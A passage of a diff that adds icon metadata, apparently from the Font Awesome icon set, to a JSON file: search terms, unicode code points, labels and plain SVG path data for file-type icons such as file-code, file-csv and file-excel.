}, + "regular": { + "last_modified": 1628088634799, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm144-76.024c0 10.691-12.926 16.045-20.485 8.485L136 360.486h-28c-6.627 0-12-5.373-12-12v-56c0-6.627 5.373-12 12-12h28l35.515-36.947c7.56-7.56 20.485-2.206 20.485 8.485v135.952zm41.201-47.13c9.051-9.297 9.06-24.133.001-33.439-22.149-22.752 12.235-56.246 34.395-33.481 27.198 27.94 27.212 72.444.001 100.401-21.793 22.386-56.947-10.315-34.397-33.481z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm144-76.024c0 10.691-12.926 16.045-20.485 8.485L136 360.486h-28c-6.627 0-12-5.373-12-12v-56c0-6.627 5.373-12 12-12h28l35.515-36.947c7.56-7.56 20.485-2.206 20.485 8.485v135.952zm41.201-47.13c9.051-9.297 9.06-24.133.001-33.439-22.149-22.752 12.235-56.246 34.395-33.481 27.198 27.94 27.212 72.444.001 100.401-21.793 22.386-56.947-10.315-34.397-33.481z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-code": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "css", + "development", + "document", + "html" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c9", + "label": "Code File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635474, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zM123.206 400.505a5.4 5.4 0 0 1-7.633.246l-64.866-60.812a5.4 5.4 0 0 1 0-7.879l64.866-60.812a5.4 5.4 0 0 1 7.633.246l19.579 20.885a5.4 5.4 0 0 1-.372 7.747L101.65 336l40.763 35.874a5.4 5.4 0 0 1 .372 7.747l-19.579 20.884zm51.295 50.479l-27.453-7.97a5.402 5.402 0 0 1-3.681-6.692l61.44-211.626a5.402 5.402 0 0 1 6.692-3.681l27.452 7.97a5.4 5.4 0 0 1 3.68 6.692l-61.44 211.626a5.397 5.397 0 0 1-6.69 3.681zm160.792-111.045l-64.866 60.812a5.4 5.4 0 0 1-7.633-.246l-19.58-20.885a5.4 5.4 0 0 1 .372-7.747L284.35 336l-40.763-35.874a5.4 5.4 0 0 1-.372-7.747l19.58-20.885a5.4 5.4 0 0 1 7.633-.246l64.866 60.812a5.4 5.4 0 0 1-.001 7.879z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zM123.206 400.505a5.4 5.4 0 0 1-7.633.246l-64.866-60.812a5.4 5.4 0 0 1 0-7.879l64.866-60.812a5.4 5.4 0 0 1 7.633.246l19.579 20.885a5.4 5.4 0 0 1-.372 7.747L101.65 336l40.763 35.874a5.4 5.4 0 0 1 .372 7.747l-19.579 20.884zm51.295 50.479l-27.453-7.97a5.402 5.402 0 0 1-3.681-6.692l61.44-211.626a5.402 5.402 0 0 1 6.692-3.681l27.452 7.97a5.4 5.4 0 0 1 3.68 6.692l-61.44 211.626a5.397 5.397 0 0 1-6.69 3.681zm160.792-111.045l-64.866 60.812a5.4 5.4 0 0 1-7.633-.246l-19.58-20.885a5.4 5.4 0 0 1 .372-7.747L284.35 336l-40.763-35.874a5.4 5.4 0 0 1-.372-7.747l19.58-20.885a5.4 5.4 0 0 1 7.633-.246l64.866 60.812a5.4 5.4 0 0 1-.001 7.879z" + }, + "regular": { + "last_modified": 1628088634800, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M149.9 349.1l-.2-.2-32.8-28.9 32.8-28.9c3.6-3.2 4-8.8.8-12.4l-.2-.2-17.4-18.6c-3.4-3.6-9-3.7-12.4-.4l-57.7 54.1c-3.7 3.5-3.7 9.4 0 12.8l57.7 54.1c1.6 1.5 3.8 2.4 6 2.4 2.4 0 4.8-1 6.4-2.8l17.4-18.6c3.3-3.5 3.1-9.1-.4-12.4zm220-251.2L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h160v104c0 13.3 10.7 24 24 24h104zM209.6 214c-4.7-1.4-9.5 1.3-10.9 6L144 408.1c-1.4 4.7 1.3 9.6 6 10.9l24.4 7.1c4.7 1.4 9.6-1.4 10.9-6L240 231.9c1.4-4.7-1.3-9.6-6-10.9zm24.5 76.9l.2.2 32.8 28.9-32.8 28.9c-3.6 3.2-4 8.8-.8 12.4l.2.2 17.4 18.6c3.3 3.5 8.9 3.7 12.4.4l57.7-54.1c3.7-3.5 3.7-9.4 0-12.8l-57.7-54.1c-3.5-3.3-9.1-3.2-12.4.4l-17.4 18.6c-3.3 3.5-3.1 9.1.4 12.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M149.9 349.1l-.2-.2-32.8-28.9 32.8-28.9c3.6-3.2 4-8.8.8-12.4l-.2-.2-17.4-18.6c-3.4-3.6-9-3.7-12.4-.4l-57.7 54.1c-3.7 3.5-3.7 9.4 0 12.8l57.7 54.1c1.6 1.5 3.8 2.4 6 2.4 2.4 0 4.8-1 6.4-2.8l17.4-18.6c3.3-3.5 3.1-9.1-.4-12.4zm220-251.2L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h160v104c0 13.3 10.7 24 24 24h104zM209.6 214c-4.7-1.4-9.5 1.3-10.9 6L144 408.1c-1.4 4.7 1.3 9.6 6 10.9l24.4 7.1c4.7 1.4 9.6-1.4 10.9-6L240 231.9c1.4-4.7-1.3-9.6-6-10.9zm24.5 76.9l.2.2 32.8 28.9-32.8 28.9c-3.6 3.2-4 8.8-.8 12.4l.2.2 17.4 18.6c3.3 3.5 8.9 3.7 12.4.4l57.7-54.1c3.7-3.5 3.7-9.4 0-12.8l-57.7-54.1c-3.5-3.3-9.1-3.2-12.4.4l-17.4 18.6c-3.3 3.5-3.1 9.1.4 12.4z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-contract": { + "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "agreement", + "binding", + "document", + "legal", + "signature" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f56c", + "label": "File Contract", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635474, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm192.81 248H304c8.84 0 16 7.16 16 16s-7.16 16-16 16h-47.19c-16.45 0-31.27-9.14-38.64-23.86-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34a15.986 15.986 0 0 1-14.31 8.84c-.38 0-.75-.02-1.14-.05-6.45-.45-12-4.75-14.03-10.89L144 354.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.77-16.19 54.05-9.7 66 14.16 2.02 4.06 5.96 6.5 10.16 6.5zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm192.81 248H304c8.84 0 16 7.16 16 16s-7.16 16-16 16h-47.19c-16.45 0-31.27-9.14-38.64-23.86-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34a15.986 15.986 0 0 1-14.31 8.84c-.38 0-.75-.02-1.14-.05-6.45-.45-12-4.75-14.03-10.89L144 354.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.77-16.19 54.05-9.7 66 14.16 2.02 4.06 5.96 6.5 10.16 6.5zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" + } + }, + "free": [ + "solid" + ] + }, + "file-csv": { + "changes": [ + "5.4.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "excel", + "numbers", + "spreadsheets", + "table" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6dd", + "label": "File CSV", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635474, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-96 144c0 4.42-3.58 8-8 8h-8c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h8c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-8c-26.51 0-48-21.49-48-48v-32c0-26.51 21.49-48 48-48h8c4.42 0 8 3.58 8 8v16zm44.27 104H160c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h12.27c5.95 0 10.41-3.5 10.41-6.62 0-1.3-.75-2.66-2.12-3.84l-21.89-18.77c-8.47-7.22-13.33-17.48-13.33-28.14 0-21.3 19.02-38.62 42.41-38.62H200c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-12.27c-5.95 0-10.41 3.5-10.41 6.62 0 1.3.75 2.66 2.12 3.84l21.89 18.77c8.47 7.22 13.33 17.48 13.33 28.14.01 21.29-19 38.62-42.39 38.62zM256 264v20.8c0 20.27 5.7 40.17 16 56.88 10.3-16.7 16-36.61 16-56.88V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v20.8c0 35.48-12.88 68.89-36.28 94.09-3.02 3.25-7.27 5.11-11.72 5.11s-8.7-1.86-11.72-5.11c-23.4-25.2-36.28-58.61-36.28-94.09V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8zm121-159L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-96 144c0 4.42-3.58 8-8 8h-8c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h8c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-8c-26.51 0-48-21.49-48-48v-32c0-26.51 21.49-48 48-48h8c4.42 0 8 3.58 8 8v16zm44.27 104H160c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h12.27c5.95 0 10.41-3.5 10.41-6.62 0-1.3-.75-2.66-2.12-3.84l-21.89-18.77c-8.47-7.22-13.33-17.48-13.33-28.14 0-21.3 19.02-38.62 42.41-38.62H200c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-12.27c-5.95 0-10.41 3.5-10.41 6.62 0 1.3.75 2.66 2.12 3.84l21.89 18.77c8.47 7.22 13.33 17.48 13.33 28.14.01 21.29-19 38.62-42.39 38.62zM256 264v20.8c0 20.27 5.7 40.17 16 56.88 10.3-16.7 16-36.61 16-56.88V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v20.8c0 35.48-12.88 68.89-36.28 94.09-3.02 3.25-7.27 5.11-11.72 5.11s-8.7-1.86-11.72-5.11c-23.4-25.2-36.28-58.61-36.28-94.09V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8zm121-159L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" + } + }, + "free": [ + "solid" + ] + }, + "file-download": { + "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "export", + "save" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f56d", + "label": "File Download", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635475, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm76.45 211.36l-96.42 95.7c-6.65 6.61-17.39 6.61-24.04 0l-96.42-95.7C73.42 337.29 80.54 320 94.82 320H160v-80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v80h65.18c14.28 0 21.4 17.29 11.27 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm76.45 211.36l-96.42 95.7c-6.65 6.61-17.39 6.61-24.04 0l-96.42-95.7C73.42 337.29 80.54 320 94.82 320H160v-80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v80h65.18c14.28 0 21.4 17.29 11.27 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" + } + }, + "free": [ + "solid" + ] + }, + "file-excel": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "csv", + "document", + "numbers", + "spreadsheets", + "table" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c3", + "label": "Excel File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635475, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm60.1 106.5L224 336l60.1 93.5c5.1 8-.6 18.5-10.1 18.5h-34.9c-4.4 0-8.5-2.4-10.6-6.3C208.9 405.5 192 373 192 373c-6.4 14.8-10 20-36.6 68.8-2.1 3.9-6.1 6.3-10.5 6.3H110c-9.5 0-15.2-10.5-10.1-18.5l60.3-93.5-60.3-93.5c-5.2-8 .6-18.5 10.1-18.5h34.8c4.4 0 8.5 2.4 10.6 6.3 26.1 48.8 20 33.6 36.6 68.5 0 0 6.1-11.7 36.6-68.5 2.1-3.9 6.2-6.3 10.6-6.3H274c9.5-.1 15.2 10.4 10.1 18.4zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm60.1 106.5L224 336l60.1 93.5c5.1 8-.6 18.5-10.1 18.5h-34.9c-4.4 0-8.5-2.4-10.6-6.3C208.9 405.5 192 373 192 373c-6.4 14.8-10 20-36.6 68.8-2.1 3.9-6.1 6.3-10.5 6.3H110c-9.5 0-15.2-10.5-10.1-18.5l60.3-93.5-60.3-93.5c-5.2-8 .6-18.5 10.1-18.5h34.8c4.4 0 8.5 2.4 10.6 6.3 26.1 48.8 20 33.6 36.6 68.5 0 0 6.1-11.7 36.6-68.5 2.1-3.9 6.2-6.3 10.6-6.3H274c9.5-.1 15.2 10.4 10.1 18.4zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" + }, + "regular": { + "last_modified": 1628088634801, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm212-240h-28.8c-4.4 0-8.4 2.4-10.5 6.3-18 33.1-22.2 42.4-28.6 57.7-13.9-29.1-6.9-17.3-28.6-57.7-2.1-3.9-6.2-6.3-10.6-6.3H124c-9.3 0-15 10-10.4 18l46.3 78-46.3 78c-4.7 8 1.1 18 10.4 18h28.9c4.4 0 8.4-2.4 10.5-6.3 21.7-40 23-45 28.6-57.7 14.9 30.2 5.9 15.9 28.6 57.7 2.1 3.9 6.2 6.3 10.6 6.3H260c9.3 0 15-10 10.4-18L224 320c.7-1.1 30.3-50.5 46.3-78 4.7-8-1.1-18-10.3-18z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm212-240h-28.8c-4.4 0-8.4 2.4-10.5 6.3-18 33.1-22.2 42.4-28.6 57.7-13.9-29.1-6.9-17.3-28.6-57.7-2.1-3.9-6.2-6.3-10.6-6.3H124c-9.3 0-15 10-10.4 18l46.3 78-46.3 78c-4.7 8 1.1 18 10.4 18h28.9c4.4 0 8.4-2.4 10.5-6.3 21.7-40 23-45 28.6-57.7 14.9 30.2 5.9 15.9 28.6 57.7 2.1 3.9 6.2 6.3 10.6 6.3H260c9.3 0 15-10 10.4-18L224 320c.7-1.1 30.3-50.5 46.3-78 4.7-8-1.1-18-10.3-18z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-export": { + "changes": [ + "5.1.0", + "5.7.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "download", + "save" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f56e", + "label": "File Export", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635476, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128zM571 308l-95.7-96.4c-10.1-10.1-27.4-3-27.4 11.3V288h-64v64h64v65.2c0 14.3 17.3 21.4 27.4 11.3L571 332c6.6-6.6 6.6-17.4 0-24zm-379 28v-32c0-8.8 7.2-16 16-16h176V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V352H208c-8.8 0-16-7.2-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128zM571 308l-95.7-96.4c-10.1-10.1-27.4-3-27.4 11.3V288h-64v64h64v65.2c0 14.3 17.3 21.4 27.4 11.3L571 332c6.6-6.6 6.6-17.4 0-24zm-379 28v-32c0-8.8 7.2-16 16-16h176V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V352H208c-8.8 0-16-7.2-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "file-image": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "image", + "jpg", + "photo", + "png" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c5", + "label": "Image File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635476, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 121.941V128H256V0h6.059a24 24 0 0 1 16.97 7.029l97.941 97.941a24.002 24.002 0 0 1 7.03 16.971zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zm-135.455 16c26.51 0 48 21.49 48 48s-21.49 48-48 48-48-21.49-48-48 21.491-48 48-48zm208 240h-256l.485-48.485L104.545 328c4.686-4.686 11.799-4.201 16.485.485L160.545 368 264.06 264.485c4.686-4.686 12.284-4.686 16.971 0L320.545 304v112z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 121.941V128H256V0h6.059a24 24 0 0 1 16.97 7.029l97.941 97.941a24.002 24.002 0 0 1 7.03 16.971zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zm-135.455 16c26.51 0 48 21.49 48 48s-21.49 48-48 48-48-21.49-48-48 21.491-48 48-48zm208 240h-256l.485-48.485L104.545 328c4.686-4.686 11.799-4.201 16.485.485L160.545 368 264.06 264.485c4.686-4.686 12.284-4.686 16.971 0L320.545 304v112z" + }, + "regular": { + "last_modified": 1628088634802, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm32-48h224V288l-23.5-23.5c-4.7-4.7-12.3-4.7-17 0L176 352l-39.5-39.5c-4.7-4.7-12.3-4.7-17 0L80 352v64zm48-240c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm32-48h224V288l-23.5-23.5c-4.7-4.7-12.3-4.7-17 0L176 352l-39.5-39.5c-4.7-4.7-12.3-4.7-17 0L80 352v64zm48-240c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-import": { + "changes": [ + "5.1.0", + "5.7.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "copy", + "document", + "send", + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f56f", + "label": "File Import", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635477, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M16 288c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h112v-64zm489-183L407.1 7c-4.5-4.5-10.6-7-17-7H384v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H152c-13.3 0-24 10.7-24 24v264h128v-65.2c0-14.3 17.3-21.4 27.4-11.3L379 308c6.6 6.7 6.6 17.4 0 24l-95.7 96.4c-10.1 10.1-27.4 3-27.4-11.3V352H128v136c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H376c-13.2 0-24-10.8-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M16 288c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h112v-64zm489-183L407.1 7c-4.5-4.5-10.6-7-17-7H384v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H152c-13.3 0-24 10.7-24 24v264h128v-65.2c0-14.3 17.3-21.4 27.4-11.3L379 308c6.6 6.7 6.6 17.4 0 24l-95.7 96.4c-10.1 10.1-27.4 3-27.4-11.3V352H128v136c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H376c-13.2 0-24-10.8-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "file-invoice": { + "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "account", + "bill", + "charge", + "document", + "payment", + "receipt" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f570", + "label": "File Invoice", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635477, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M288 256H96v64h192v-64zm89-151L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm256 304c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-200v96c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-96c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M288 256H96v64h192v-64zm89-151L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm256 304c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-200v96c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-96c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16z" + } + }, + "free": [ + "solid" + ] + }, + "file-invoice-dollar": { 